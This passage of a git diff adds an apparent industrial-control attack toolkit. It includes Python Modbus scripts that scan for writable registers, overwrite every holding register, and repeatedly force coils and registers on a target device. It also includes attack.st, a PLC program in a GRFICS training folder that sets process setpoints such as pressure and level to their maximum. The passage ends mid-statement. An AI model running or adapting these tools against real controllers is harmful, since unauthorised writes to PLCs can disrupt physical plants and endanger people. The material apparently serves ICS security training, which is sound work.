data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := 